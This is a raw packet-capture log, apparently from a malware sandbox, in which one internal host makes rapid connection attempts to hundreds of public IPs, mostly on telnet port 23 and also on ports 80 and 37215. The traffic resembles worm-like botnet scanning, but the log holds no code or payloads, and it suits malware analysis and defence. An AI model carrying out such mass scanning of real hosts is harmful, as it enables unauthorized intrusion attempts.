Jan 5, 2025 14:34:58.516557932 CET	29476	23	192.168.2.13	210.196.89.18
Jan 5, 2025 14:34:58.516558886 CET	29476	23	192.168.2.13	82.70.220.208
Jan 5, 2025 14:34:58.516562939 CET	29476	23	192.168.2.13	40.219.49.187
Jan 5, 2025 14:34:58.516562939 CET	29476	23	192.168.2.13	66.108.12.149
Jan 5, 2025 14:34:58.516562939 CET	29476	23	192.168.2.13	82.32.243.115
Jan 5, 2025 14:34:58.516562939 CET	29476	23	192.168.2.13	17.209.50.251
Jan 5, 2025 14:34:58.516576052 CET	29476	23	192.168.2.13	97.54.118.172
Jan 5, 2025 14:34:58.516577005 CET	29476	23	192.168.2.13	159.238.52.45
Jan 5, 2025 14:34:58.516577959 CET	29476	23	192.168.2.13	160.164.189.105
Jan 5, 2025 14:34:58.516577959 CET	29476	23	192.168.2.13	57.78.38.99
Jan 5, 2025 14:34:58.516583920 CET	29476	23	192.168.2.13	39.170.99.187
Jan 5, 2025 14:34:58.516583920 CET	29476	23	192.168.2.13	131.74.88.185
Jan 5, 2025 14:34:58.516602993 CET	29476	23	192.168.2.13	177.167.125.87
Jan 5, 2025 14:34:58.516603947 CET	29476	23	192.168.2.13	13.103.220.164
Jan 5, 2025 14:34:58.516618967 CET	29476	23	192.168.2.13	65.117.212.195
Jan 5, 2025 14:34:58.516623974 CET	29476	23	192.168.2.13	69.222.105.255
Jan 5, 2025 14:34:58.516625881 CET	29476	23	192.168.2.13	88.15.207.155
Jan 5, 2025 14:34:58.516635895 CET	29476	23	192.168.2.13	168.8.75.148
Jan 5, 2025 14:34:58.516638041 CET	29476	23	192.168.2.13	174.52.214.16
Jan 5, 2025 14:34:58.516638041 CET	29476	23	192.168.2.13	169.249.186.244
Jan 5, 2025 14:34:58.516642094 CET	29476	23	192.168.2.13	34.68.184.17
Jan 5, 2025 14:34:58.516642094 CET	29476	23	192.168.2.13	189.15.179.187
Jan 5, 2025 14:34:58.516661882 CET	29476	23	192.168.2.13	96.3.69.101
Jan 5, 2025 14:34:58.516661882 CET	29476	23	192.168.2.13	67.30.60.224
Jan 5, 2025 14:34:58.516664028 CET	29476	23	192.168.2.13	151.243.46.101
Jan 5, 2025 14:34:58.516668081 CET	29476	23	192.168.2.13	114.31.7.248
Jan 5, 2025 14:34:58.516668081 CET	29476	23	192.168.2.13	106.73.89.242
Jan 5, 2025 14:34:58.516668081 CET	29476	23	192.168.2.13	81.214.127.136
Jan 5, 2025 14:34:58.516671896 CET	29476	23	192.168.2.13	110.5.211.128
Jan 5, 2025 14:34:58.516671896 CET	29476	23	192.168.2.13	218.175.0.47
Jan 5, 2025 14:34:58.516676903 CET	29476	23	192.168.2.13	115.154.210.142
Jan 5, 2025 14:34:58.516704082 CET	29476	23	192.168.2.13	41.84.45.180
Jan 5, 2025 14:34:58.516705036 CET	29476	23	192.168.2.13	184.116.55.70
Jan 5, 2025 14:34:58.516707897 CET	29476	23	192.168.2.13	123.240.47.11
Jan 5, 2025 14:34:58.516712904 CET	29476	23	192.168.2.13	97.200.221.80
Jan 5, 2025 14:34:58.516716957 CET	29476	23	192.168.2.13	210.238.49.208
Jan 5, 2025 14:34:58.516716957 CET	29476	23	192.168.2.13	174.34.71.216
Jan 5, 2025 14:34:58.516720057 CET	29476	23	192.168.2.13	39.220.100.92
Jan 5, 2025 14:34:58.516720057 CET	29476	23	192.168.2.13	48.72.95.184
Jan 5, 2025 14:34:58.516720057 CET	29476	23	192.168.2.13	40.192.40.100
Jan 5, 2025 14:34:58.516725063 CET	29476	23	192.168.2.13	170.223.116.46
Jan 5, 2025 14:34:58.516731024 CET	29476	23	192.168.2.13	145.140.228.250
Jan 5, 2025 14:34:58.516731024 CET	29476	23	192.168.2.13	221.59.91.39
Jan 5, 2025 14:34:58.516736984 CET	29476	23	192.168.2.13	9.51.141.94
Jan 5, 2025 14:34:58.516736984 CET	29476	23	192.168.2.13	143.110.30.88
Jan 5, 2025 14:34:58.516738892 CET	29476	23	192.168.2.13	147.196.183.114
Jan 5, 2025 14:34:58.516756058 CET	29476	23	192.168.2.13	129.91.156.32
Jan 5, 2025 14:34:58.516757965 CET	29476	23	192.168.2.13	89.133.206.114
Jan 5, 2025 14:34:58.516762018 CET	29476	23	192.168.2.13	83.141.182.210
Jan 5, 2025 14:34:58.516762018 CET	29476	23	192.168.2.13	93.159.124.108
Jan 5, 2025 14:34:58.516762972 CET	29476	23	192.168.2.13	54.32.173.86
Jan 5, 2025 14:34:58.516762972 CET	29476	23	192.168.2.13	71.27.17.64
Jan 5, 2025 14:34:58.516762972 CET	29476	23	192.168.2.13	196.43.251.151
Jan 5, 2025 14:34:58.516762972 CET	29476	23	192.168.2.13	80.198.110.83
Jan 5, 2025 14:34:58.516771078 CET	29476	23	192.168.2.13	82.217.140.191
Jan 5, 2025 14:34:58.516772985 CET	29476	23	192.168.2.13	169.155.91.30
Jan 5, 2025 14:34:58.516773939 CET	29476	23	192.168.2.13	80.114.23.109
Jan 5, 2025 14:34:58.516773939 CET	29476	23	192.168.2.13	217.222.86.232
Jan 5, 2025 14:34:58.516774893 CET	29476	23	192.168.2.13	169.227.45.229
Jan 5, 2025 14:34:58.516776085 CET	29476	23	192.168.2.13	92.192.23.63
Jan 5, 2025 14:34:58.516783953 CET	29476	23	192.168.2.13	218.161.8.5
Jan 5, 2025 14:34:58.516817093 CET	29476	23	192.168.2.13	8.112.84.228
Jan 5, 2025 14:34:58.516817093 CET	29476	23	192.168.2.13	142.188.104.104
Jan 5, 2025 14:34:58.516818047 CET	29476	23	192.168.2.13	14.161.112.90
Jan 5, 2025 14:34:58.516823053 CET	29476	23	192.168.2.13	171.47.237.182
Jan 5, 2025 14:34:58.516825914 CET	29476	23	192.168.2.13	18.71.154.110
Jan 5, 2025 14:34:58.516825914 CET	29476	23	192.168.2.13	162.203.154.60
Jan 5, 2025 14:34:58.516825914 CET	29476	23	192.168.2.13	149.188.42.145
Jan 5, 2025 14:34:58.516825914 CET	29476	23	192.168.2.13	210.47.72.115
Jan 5, 2025 14:34:58.516829014 CET	29476	23	192.168.2.13	126.98.83.14
Jan 5, 2025 14:34:58.516830921 CET	29476	23	192.168.2.13	163.22.231.156
Jan 5, 2025 14:34:58.516839027 CET	29476	23	192.168.2.13	50.25.12.154
Jan 5, 2025 14:34:58.516840935 CET	29476	23	192.168.2.13	35.192.181.140
Jan 5, 2025 14:34:58.516843081 CET	29476	23	192.168.2.13	155.129.164.24
Jan 5, 2025 14:34:58.516843081 CET	29476	23	192.168.2.13	118.254.195.183
Jan 5, 2025 14:34:58.516865969 CET	29476	23	192.168.2.13	143.234.13.214
Jan 5, 2025 14:34:58.516865969 CET	29476	23	192.168.2.13	151.34.248.44
Jan 5, 2025 14:34:58.516866922 CET	29476	23	192.168.2.13	83.148.242.44
Jan 5, 2025 14:34:58.516868114 CET	29476	23	192.168.2.13	141.131.19.211
Jan 5, 2025 14:34:58.516869068 CET	29476	23	192.168.2.13	35.243.229.44
Jan 5, 2025 14:34:58.516869068 CET	29476	23	192.168.2.13	92.113.12.73
Jan 5, 2025 14:34:58.516874075 CET	29476	23	192.168.2.13	193.109.146.16
Jan 5, 2025 14:34:58.516876936 CET	29476	23	192.168.2.13	196.99.97.246
Jan 5, 2025 14:34:58.516907930 CET	29476	23	192.168.2.13	64.118.77.254
Jan 5, 2025 14:34:58.516907930 CET	29476	23	192.168.2.13	194.66.0.88
Jan 5, 2025 14:34:58.516907930 CET	29476	23	192.168.2.13	43.51.98.18
Jan 5, 2025 14:34:58.516911030 CET	29476	23	192.168.2.13	52.108.143.44
Jan 5, 2025 14:34:58.516918898 CET	29476	23	192.168.2.13	211.208.138.112
Jan 5, 2025 14:34:58.516918898 CET	29476	23	192.168.2.13	47.216.20.191
Jan 5, 2025 14:34:58.516918898 CET	29476	23	192.168.2.13	134.14.188.30
Jan 5, 2025 14:34:58.516928911 CET	29476	23	192.168.2.13	139.61.7.52
Jan 5, 2025 14:34:58.516931057 CET	29476	23	192.168.2.13	164.210.83.126
Jan 5, 2025 14:34:58.516948938 CET	29476	23	192.168.2.13	61.216.78.4
Jan 5, 2025 14:34:58.516957045 CET	29476	23	192.168.2.13	58.48.45.165
Jan 5, 2025 14:34:58.516959906 CET	29476	23	192.168.2.13	5.78.165.116
Jan 5, 2025 14:34:58.516963959 CET	29476	23	192.168.2.13	218.97.149.61
Jan 5, 2025 14:34:58.516963959 CET	29476	23	192.168.2.13	81.164.177.58
Jan 5, 2025 14:34:58.516963959 CET	29476	23	192.168.2.13	116.155.35.197
Jan 5, 2025 14:34:58.516968012 CET	29476	23	192.168.2.13	86.182.149.8
Jan 5, 2025 14:34:58.516972065 CET	29476	23	192.168.2.13	133.102.84.198
Jan 5, 2025 14:34:58.516978979 CET	29476	23	192.168.2.13	5.62.80.210
Jan 5, 2025 14:34:58.516985893 CET	29476	23	192.168.2.13	203.47.169.154
Jan 5, 2025 14:34:58.517004967 CET	29476	23	192.168.2.13	169.113.40.94
Jan 5, 2025 14:34:58.517011881 CET	29476	23	192.168.2.13	132.4.29.94
Jan 5, 2025 14:34:58.517013073 CET	29476	23	192.168.2.13	65.227.115.230
Jan 5, 2025 14:34:58.517024994 CET	29476	23	192.168.2.13	93.225.242.180
Jan 5, 2025 14:34:58.517026901 CET	29476	23	192.168.2.13	122.92.37.144
Jan 5, 2025 14:34:58.517026901 CET	29476	23	192.168.2.13	195.250.227.73
Jan 5, 2025 14:34:58.517030001 CET	29476	23	192.168.2.13	124.5.161.122
Jan 5, 2025 14:34:58.517040014 CET	29476	23	192.168.2.13	92.92.220.34
Jan 5, 2025 14:34:58.517040014 CET	29476	23	192.168.2.13	116.60.205.240
Jan 5, 2025 14:34:58.517040014 CET	29476	23	192.168.2.13	13.97.243.85
Jan 5, 2025 14:34:58.517043114 CET	29476	23	192.168.2.13	24.177.206.150
Jan 5, 2025 14:34:58.517043114 CET	29476	23	192.168.2.13	153.132.219.243
Jan 5, 2025 14:34:58.517045975 CET	29476	23	192.168.2.13	155.85.19.74
Jan 5, 2025 14:34:58.517045975 CET	29476	23	192.168.2.13	222.137.125.110
Jan 5, 2025 14:34:58.517045975 CET	29476	23	192.168.2.13	98.194.119.43
Jan 5, 2025 14:34:58.517052889 CET	29476	23	192.168.2.13	183.183.98.106
Jan 5, 2025 14:34:58.517052889 CET	29476	23	192.168.2.13	133.49.246.129
Jan 5, 2025 14:34:58.517062902 CET	29476	23	192.168.2.13	174.73.244.56
Jan 5, 2025 14:34:58.517067909 CET	29476	23	192.168.2.13	83.106.209.91
Jan 5, 2025 14:34:58.517075062 CET	29476	23	192.168.2.13	92.6.50.111
Jan 5, 2025 14:34:58.517075062 CET	29476	23	192.168.2.13	71.243.214.144
Jan 5, 2025 14:34:58.517076015 CET	29476	23	192.168.2.13	148.4.254.16
Jan 5, 2025 14:34:58.517076015 CET	29476	23	192.168.2.13	113.24.130.22
Jan 5, 2025 14:34:58.517076015 CET	29476	23	192.168.2.13	154.225.32.219
Jan 5, 2025 14:34:58.517076015 CET	29476	23	192.168.2.13	134.245.45.68
Jan 5, 2025 14:34:58.517083883 CET	29476	23	192.168.2.13	47.83.133.219
Jan 5, 2025 14:34:58.520009995 CET	55642	23	192.168.2.13	9.255.126.84
Jan 5, 2025 14:34:58.520312071 CET	23	29476	93.143.90.252	192.168.2.13
Jan 5, 2025 14:34:58.520323992 CET	23	29476	66.19.129.193	192.168.2.13
Jan 5, 2025 14:34:58.520333052 CET	23	29476	145.92.203.81	192.168.2.13
Jan 5, 2025 14:34:58.520343065 CET	23	29476	48.45.155.145	192.168.2.13
Jan 5, 2025 14:34:58.520354033 CET	23	29476	126.74.224.9	192.168.2.13
Jan 5, 2025 14:34:58.520354986 CET	29476	23	192.168.2.13	93.143.90.252
Jan 5, 2025 14:34:58.520356894 CET	29476	23	192.168.2.13	66.19.129.193
Jan 5, 2025 14:34:58.520366907 CET	23	29476	135.86.193.151	192.168.2.13
Jan 5, 2025 14:34:58.520368099 CET	29476	23	192.168.2.13	145.92.203.81
Jan 5, 2025 14:34:58.520379066 CET	23	29476	198.108.122.177	192.168.2.13
Jan 5, 2025 14:34:58.520385027 CET	29476	23	192.168.2.13	48.45.155.145
Jan 5, 2025 14:34:58.520387888 CET	29476	23	192.168.2.13	126.74.224.9
Jan 5, 2025 14:34:58.520390034 CET	23	29476	157.98.35.230	192.168.2.13
Jan 5, 2025 14:34:58.520407915 CET	29476	23	192.168.2.13	135.86.193.151
Jan 5, 2025 14:34:58.520417929 CET	23	29476	90.233.5.59	192.168.2.13
Jan 5, 2025 14:34:58.520426989 CET	29476	23	192.168.2.13	157.98.35.230
Jan 5, 2025 14:34:58.520430088 CET	29476	23	192.168.2.13	198.108.122.177
Jan 5, 2025 14:34:58.520431995 CET	23	29476	166.193.9.24	192.168.2.13
Jan 5, 2025 14:34:58.520443916 CET	23	29476	169.161.157.225	192.168.2.13
Jan 5, 2025 14:34:58.520452976 CET	29476	23	192.168.2.13	90.233.5.59
Jan 5, 2025 14:34:58.520453930 CET	23	29476	157.90.237.250	192.168.2.13
Jan 5, 2025 14:34:58.520464897 CET	29476	23	192.168.2.13	166.193.9.24
Jan 5, 2025 14:34:58.520464897 CET	23	29476	161.208.187.222	192.168.2.13
Jan 5, 2025 14:34:58.520467043 CET	29476	23	192.168.2.13	169.161.157.225
Jan 5, 2025 14:34:58.520474911 CET	23	29476	146.50.115.155	192.168.2.13
Jan 5, 2025 14:34:58.520487070 CET	23	29476	24.69.61.41	192.168.2.13
Jan 5, 2025 14:34:58.520492077 CET	29476	23	192.168.2.13	161.208.187.222
Jan 5, 2025 14:34:58.520497084 CET	23	29476	105.119.151.126	192.168.2.13
Jan 5, 2025 14:34:58.520504951 CET	29476	23	192.168.2.13	157.90.237.250
Jan 5, 2025 14:34:58.520530939 CET	29476	23	192.168.2.13	24.69.61.41
Jan 5, 2025 14:34:58.520530939 CET	29476	23	192.168.2.13	146.50.115.155
Jan 5, 2025 14:34:58.520530939 CET	29476	23	192.168.2.13	105.119.151.126
Jan 5, 2025 14:34:58.526599884 CET	55560	23	192.168.2.13	189.32.169.160
Jan 5, 2025 14:34:58.531420946 CET	23	55560	189.32.169.160	192.168.2.13
Jan 5, 2025 14:34:58.531464100 CET	55560	23	192.168.2.13	189.32.169.160
Jan 5, 2025 14:34:58.533221006 CET	50178	23	192.168.2.13	173.69.75.153
Jan 5, 2025 14:34:58.539880991 CET	60066	23	192.168.2.13	89.200.241.254
Jan 5, 2025 14:34:58.544692993 CET	23	60066	89.200.241.254	192.168.2.13
Jan 5, 2025 14:34:58.544738054 CET	60066	23	192.168.2.13	89.200.241.254
Jan 5, 2025 14:34:58.546266079 CET	47620	23	192.168.2.13	51.253.233.116
Jan 5, 2025 14:34:58.551088095 CET	23	47620	51.253.233.116	192.168.2.13
Jan 5, 2025 14:34:58.551130056 CET	47620	23	192.168.2.13	51.253.233.116
Jan 5, 2025 14:34:58.552772999 CET	51614	23	192.168.2.13	128.228.90.182
Jan 5, 2025 14:34:58.559128046 CET	59974	23	192.168.2.13	67.192.15.50
Jan 5, 2025 14:34:58.563962936 CET	23	59974	67.192.15.50	192.168.2.13
Jan 5, 2025 14:34:58.564006090 CET	59974	23	192.168.2.13	67.192.15.50
Jan 5, 2025 14:34:58.565768957 CET	33288	23	192.168.2.13	175.165.253.95
Jan 5, 2025 14:34:58.570609093 CET	23	33288	175.165.253.95	192.168.2.13
Jan 5, 2025 14:34:58.570645094 CET	33288	23	192.168.2.13	175.165.253.95
Jan 5, 2025 14:34:58.572262049 CET	56138	23	192.168.2.13	68.131.152.79
Jan 5, 2025 14:34:58.573545933 CET	80	40822	20.206.193.222	192.168.2.13
Jan 5, 2025 14:34:58.573590040 CET	40822	80	192.168.2.13	20.206.193.222
Jan 5, 2025 14:34:58.578963995 CET	36048	23	192.168.2.13	53.116.175.131
Jan 5, 2025 14:34:58.583786964 CET	23	36048	53.116.175.131	192.168.2.13
Jan 5, 2025 14:34:58.583830118 CET	36048	23	192.168.2.13	53.116.175.131
Jan 5, 2025 14:34:58.585310936 CET	46324	23	192.168.2.13	202.166.154.210
Jan 5, 2025 14:34:58.590101004 CET	23	46324	202.166.154.210	192.168.2.13
Jan 5, 2025 14:34:58.590137005 CET	46324	23	192.168.2.13	202.166.154.210
Jan 5, 2025 14:34:58.591896057 CET	58388	23	192.168.2.13	148.144.246.36
Jan 5, 2025 14:34:58.598563910 CET	48156	23	192.168.2.13	185.35.208.98
Jan 5, 2025 14:34:58.603390932 CET	23	48156	185.35.208.98	192.168.2.13
Jan 5, 2025 14:34:58.603425980 CET	48156	23	192.168.2.13	185.35.208.98
Jan 5, 2025 14:34:58.605077982 CET	41070	23	192.168.2.13	32.118.36.200
Jan 5, 2025 14:34:58.609860897 CET	23	41070	32.118.36.200	192.168.2.13
Jan 5, 2025 14:34:58.609899998 CET	41070	23	192.168.2.13	32.118.36.200
Jan 5, 2025 14:34:58.612238884 CET	40814	23	192.168.2.13	187.51.163.74
Jan 5, 2025 14:34:58.618612051 CET	34064	23	192.168.2.13	201.188.155.150
Jan 5, 2025 14:34:58.623404980 CET	23	34064	201.188.155.150	192.168.2.13
Jan 5, 2025 14:34:58.623471022 CET	34064	23	192.168.2.13	201.188.155.150
Jan 5, 2025 14:34:58.624941111 CET	56128	23	192.168.2.13	168.58.188.4
Jan 5, 2025 14:34:58.629714012 CET	23	56128	168.58.188.4	192.168.2.13
Jan 5, 2025 14:34:58.629749060 CET	56128	23	192.168.2.13	168.58.188.4
Jan 5, 2025 14:34:58.631644011 CET	53112	23	192.168.2.13	202.166.12.138
Jan 5, 2025 14:34:58.638492107 CET	51290	23	192.168.2.13	88.23.51.183
Jan 5, 2025 14:34:58.643244982 CET	23	51290	88.23.51.183	192.168.2.13
Jan 5, 2025 14:34:58.643296003 CET	51290	23	192.168.2.13	88.23.51.183
Jan 5, 2025 14:34:58.645339966 CET	47944	23	192.168.2.13	49.105.203.50
Jan 5, 2025 14:34:58.650114059 CET	23	47944	49.105.203.50	192.168.2.13
Jan 5, 2025 14:34:58.650161028 CET	47944	23	192.168.2.13	49.105.203.50
Jan 5, 2025 14:34:58.651859999 CET	46174	23	192.168.2.13	63.178.116.229
Jan 5, 2025 14:34:58.658880949 CET	51438	23	192.168.2.13	37.90.50.145
Jan 5, 2025 14:34:58.663662910 CET	23	51438	37.90.50.145	192.168.2.13
Jan 5, 2025 14:34:58.663703918 CET	51438	23	192.168.2.13	37.90.50.145
Jan 5, 2025 14:34:58.665901899 CET	39674	23	192.168.2.13	192.205.16.163
Jan 5, 2025 14:34:58.670732975 CET	23	39674	192.205.16.163	192.168.2.13
Jan 5, 2025 14:34:58.670775890 CET	39674	23	192.168.2.13	192.205.16.163
Jan 5, 2025 14:34:58.672616959 CET	56804	23	192.168.2.13	82.80.137.90
Jan 5, 2025 14:34:58.678462982 CET	39130	23	192.168.2.13	70.1.43.238
Jan 5, 2025 14:34:58.683307886 CET	23	39130	70.1.43.238	192.168.2.13
Jan 5, 2025 14:34:58.683348894 CET	39130	23	192.168.2.13	70.1.43.238
Jan 5, 2025 14:34:58.684113026 CET	54768	23	192.168.2.13	115.110.36.22
Jan 5, 2025 14:34:58.688901901 CET	23	54768	115.110.36.22	192.168.2.13
Jan 5, 2025 14:34:58.688947916 CET	54768	23	192.168.2.13	115.110.36.22
Jan 5, 2025 14:34:58.689551115 CET	55056	23	192.168.2.13	159.44.198.213
Jan 5, 2025 14:34:58.695200920 CET	34836	23	192.168.2.13	166.21.16.17
Jan 5, 2025 14:34:58.700453043 CET	35716	23	192.168.2.13	40.219.40.238
Jan 5, 2025 14:34:58.705281019 CET	23	35716	40.219.40.238	192.168.2.13
Jan 5, 2025 14:34:58.705323935 CET	35716	23	192.168.2.13	40.219.40.238
Jan 5, 2025 14:34:58.706288099 CET	39916	23	192.168.2.13	220.142.48.57
Jan 5, 2025 14:34:58.711067915 CET	23	39916	220.142.48.57	192.168.2.13
Jan 5, 2025 14:34:58.711154938 CET	39916	23	192.168.2.13	220.142.48.57
Jan 5, 2025 14:34:59.056139946 CET	53112	80	192.168.2.13	107.209.39.169
Jan 5, 2025 14:34:59.056143045 CET	37424	37215	192.168.2.13	197.97.57.117
Jan 5, 2025 14:34:59.056148052 CET	60980	80	192.168.2.13	149.218.144.175
Jan 5, 2025 14:34:59.056150913 CET	38550	37215	192.168.2.13	41.1.36.164
Jan 5, 2025 14:34:59.056162119 CET	42288	37215	192.168.2.13	197.47.93.30
Jan 5, 2025 14:34:59.061186075 CET	37215	37424	197.97.57.117	192.168.2.13
Jan 5, 2025 14:34:59.061202049 CET	37215	42288	197.47.93.30	192.168.2.13
Jan 5, 2025 14:34:59.061211109 CET	80	60980	149.218.144.175	192.168.2.13
Jan 5, 2025 14:34:59.061219931 CET	80	53112	107.209.39.169	192.168.2.13
Jan 5, 2025 14:34:59.061230898 CET	37215	38550	41.1.36.164	192.168.2.13
Jan 5, 2025 14:34:59.061243057 CET	37424	37215	192.168.2.13	197.97.57.117
Jan 5, 2025 14:34:59.061244965 CET	42288	37215	192.168.2.13	197.47.93.30
Jan 5, 2025 14:34:59.061252117 CET	60980	80	192.168.2.13	149.218.144.175
Jan 5, 2025 14:34:59.061265945 CET	53112	80	192.168.2.13	107.209.39.169
Jan 5, 2025 14:34:59.061280966 CET	38550	37215	192.168.2.13	41.1.36.164
Jan 5, 2025 14:34:59.061310053 CET	37424	37215	192.168.2.13	197.97.57.117
Jan 5, 2025 14:34:59.061321020 CET	29477	80	192.168.2.13	123.54.183.241
Jan 5, 2025 14:34:59.061321020 CET	38550	37215	192.168.2.13	41.1.36.164
Jan 5, 2025 14:34:59.061330080 CET	29477	80	192.168.2.13	78.155.255.230
Jan 5, 2025 14:34:59.061331987 CET	42288	37215	192.168.2.13	197.47.93.30
Jan 5, 2025 14:34:59.061331987 CET	29477	80	192.168.2.13	106.98.6.182
Jan 5, 2025 14:34:59.061331987 CET	29477	80	192.168.2.13	135.40.7.85
Jan 5, 2025 14:34:59.061336040 CET	29477	80	192.168.2.13	133.206.206.122
Jan 5, 2025 14:34:59.061336040 CET	29479	37215	192.168.2.13	197.78.8.202
Jan 5, 2025 14:34:59.061336040 CET	29479	37215	192.168.2.13	156.245.190.4
Jan 5, 2025 14:34:59.061343908 CET	29477	80	192.168.2.13	129.167.223.16
Jan 5, 2025 14:34:59.061347008 CET	29477	80	192.168.2.13	4.31.183.181
Jan 5, 2025 14:34:59.061351061 CET	29477	80	192.168.2.13	41.5.201.177
Jan 5, 2025 14:34:59.061351061 CET	29477	80	192.168.2.13	204.248.109.44
Jan 5, 2025 14:34:59.061361074 CET	29479	37215	192.168.2.13	156.232.11.104
Jan 5, 2025 14:34:59.061361074 CET	29477	80	192.168.2.13	196.113.39.196
Jan 5, 2025 14:34:59.061363935 CET	29479	37215	192.168.2.13	41.136.40.189
Jan 5, 2025 14:34:59.061366081 CET	29479	37215	192.168.2.13	156.62.255.186
Jan 5, 2025 14:34:59.061366081 CET	29477	80	192.168.2.13	148.177.12.116
Jan 5, 2025 14:34:59.061367035 CET	29479	37215	192.168.2.13	156.75.208.51
Jan 5, 2025 14:34:59.061367035 CET	29477	80	192.168.2.13	70.145.8.67
Jan 5, 2025 14:34:59.061376095 CET	29479	37215	192.168.2.13	156.179.44.151
Jan 5, 2025 14:34:59.061388969 CET	29479	37215	192.168.2.13	156.86.142.141
Jan 5, 2025 14:34:59.061393023 CET	29479	37215	192.168.2.13	41.125.204.121
Jan 5, 2025 14:34:59.061393023 CET	29479	37215	192.168.2.13	197.192.252.246
Jan 5, 2025 14:34:59.061393023 CET	29479	37215	192.168.2.13	197.175.162.9
Jan 5, 2025 14:34:59.061393023 CET	29479	37215	192.168.2.13	156.161.221.30
Jan 5, 2025 14:34:59.061395884 CET	29479	37215	192.168.2.13	197.83.134.208
Jan 5, 2025 14:34:59.061394930 CET	29477	80	192.168.2.13	81.220.130.17
Jan 5, 2025 14:34:59.061393023 CET	29479	37215	192.168.2.13	41.130.183.227
Jan 5, 2025 14:34:59.061394930 CET	29479	37215	192.168.2.13	156.50.56.6
Jan 5, 2025 14:34:59.061399937 CET	29477	80	192.168.2.13	159.234.213.235
Jan 5, 2025 14:34:59.061399937 CET	29477	80	192.168.2.13	80.2.153.229
Jan 5, 2025 14:34:59.061400890 CET	29479	37215	192.168.2.13	41.250.68.9
Jan 5, 2025 14:34:59.061400890 CET	29479	37215	192.168.2.13	197.54.250.147
Jan 5, 2025 14:34:59.061402082 CET	29479	37215	192.168.2.13	197.28.77.200
Jan 5, 2025 14:34:59.061408043 CET	29477	80	192.168.2.13	139.61.117.83
Jan 5, 2025 14:34:59.061408043 CET	29479	37215	192.168.2.13	41.152.211.122
Jan 5, 2025 14:34:59.061412096 CET	29479	37215	192.168.2.13	197.103.175.4
Jan 5, 2025 14:34:59.061413050 CET	29479	37215	192.168.2.13	156.171.211.0
Jan 5, 2025 14:34:59.061417103 CET	29477	80	192.168.2.13	70.133.23.187
Jan 5, 2025 14:34:59.061417103 CET	29477	80	192.168.2.13	54.84.188.78
Jan 5, 2025 14:34:59.061418056 CET	29479	37215	192.168.2.13	197.39.72.161
Jan 5, 2025 14:34:59.061419010 CET	29477	80	192.168.2.13	62.97.92.96
Jan 5, 2025 14:34:59.061423063 CET	29479	37215	192.168.2.13	156.120.177.169
Jan 5, 2025 14:34:59.061423063 CET	29477	80	192.168.2.13	141.48.236.94
Jan 5, 2025 14:34:59.061425924 CET	29479	37215	192.168.2.13	197.73.125.252
Jan 5, 2025 14:34:59.061429977 CET	29477	80	192.168.2.13	111.36.185.152
Jan 5, 2025 14:34:59.061429977 CET	29477	80	192.168.2.13	44.83.124.122
Jan 5, 2025 14:34:59.061444998 CET	29479	37215	192.168.2.13	197.79.234.102
Jan 5, 2025 14:34:59.061445951 CET	29477	80	192.168.2.13	86.175.242.105
Jan 5, 2025 14:34:59.061445951 CET	29479	37215	192.168.2.13	156.6.178.216
Jan 5, 2025 14:34:59.061449051 CET	29479	37215	192.168.2.13	197.236.253.24
Jan 5, 2025 14:34:59.061451912 CET	29477	80	192.168.2.13	208.241.206.96
Jan 5, 2025 14:34:59.061465025 CET	29479	37215	192.168.2.13	156.188.99.20
Jan 5, 2025 14:34:59.061466932 CET	29477	80	192.168.2.13	45.11.72.11
Jan 5, 2025 14:34:59.061466932 CET	29479	37215	192.168.2.13	156.63.229.151
Jan 5, 2025 14:34:59.061467886 CET	29479	37215	192.168.2.13	156.100.206.243
Jan 5, 2025 14:34:59.061467886 CET	29477	80	192.168.2.13	183.113.106.37
Jan 5, 2025 14:34:59.061467886 CET	29477	80	192.168.2.13	67.26.219.101
Jan 5, 2025 14:34:59.061476946 CET	29479	37215	192.168.2.13	41.182.114.163
Jan 5, 2025 14:34:59.061479092 CET	29479	37215	192.168.2.13	197.112.96.242
Jan 5, 2025 14:34:59.061480045 CET	29479	37215	192.168.2.13	156.17.0.210
Jan 5, 2025 14:34:59.061480999 CET	29477	80	192.168.2.13	135.179.11.125
Jan 5, 2025 14:34:59.061480999 CET	29479	37215	192.168.2.13	41.60.45.60
Jan 5, 2025 14:34:59.061480999 CET	29479	37215	192.168.2.13	197.86.164.65
Jan 5, 2025 14:34:59.061499119 CET	29477	80	192.168.2.13	74.96.147.165
Jan 5, 2025 14:34:59.061501980 CET	29479	37215	192.168.2.13	197.195.38.208
Jan 5, 2025 14:34:59.061501980 CET	29479	37215	192.168.2.13	197.222.230.118
Jan 5, 2025 14:34:59.061501980 CET	29477	80	192.168.2.13	156.241.227.40
Jan 5, 2025 14:34:59.061501980 CET	29479	37215	192.168.2.13	197.35.111.66
Jan 5, 2025 14:34:59.061501980 CET	29477	80	192.168.2.13	9.78.249.74
Jan 5, 2025 14:34:59.061505079 CET	29479	37215	192.168.2.13	197.51.163.33
Jan 5, 2025 14:34:59.061505079 CET	29479	37215	192.168.2.13	156.130.212.26
Jan 5, 2025 14:34:59.061505079 CET	29479	37215	192.168.2.13	156.253.126.173
Jan 5, 2025 14:34:59.061505079 CET	29477	80	192.168.2.13	164.97.154.54
Jan 5, 2025 14:34:59.061506033 CET	29479	37215	192.168.2.13	156.160.53.43
Jan 5, 2025 14:34:59.061518908 CET	29477	80	192.168.2.13	54.116.27.148
Jan 5, 2025 14:34:59.061532974 CET	29479	37215	192.168.2.13	41.202.50.216
Jan 5, 2025 14:34:59.061537027 CET	29477	80	192.168.2.13	184.77.25.120
Jan 5, 2025 14:34:59.061537027 CET	29479	37215	192.168.2.13	41.103.94.39
Jan 5, 2025 14:34:59.061537027 CET	29477	80	192.168.2.13	156.77.142.147
Jan 5, 2025 14:34:59.061537027 CET	29479	37215	192.168.2.13	156.97.226.206
Jan 5, 2025 14:34:59.061539888 CET	29479	37215	192.168.2.13	197.200.46.239
Jan 5, 2025 14:34:59.061537027 CET	29479	37215	192.168.2.13	41.173.11.95
Jan 5, 2025 14:34:59.061537027 CET	29477	80	192.168.2.13	49.134.184.27
Jan 5, 2025 14:34:59.061541080 CET	29479	37215	192.168.2.13	197.102.181.225
Jan 5, 2025 14:34:59.061541080 CET	29477	80	192.168.2.13	51.203.184.56
Jan 5, 2025 14:34:59.061541080 CET	29477	80	192.168.2.13	157.184.161.177
Jan 5, 2025 14:34:59.061541080 CET	29477	80	192.168.2.13	221.39.247.101
Jan 5, 2025 14:34:59.061542988 CET	29479	37215	192.168.2.13	197.125.230.165
Jan 5, 2025 14:34:59.061542988 CET	29479	37215	192.168.2.13	156.247.204.155
Jan 5, 2025 14:34:59.061542988 CET	29479	37215	192.168.2.13	156.93.45.76
Jan 5, 2025 14:34:59.061542988 CET	29477	80	192.168.2.13	4.53.32.85
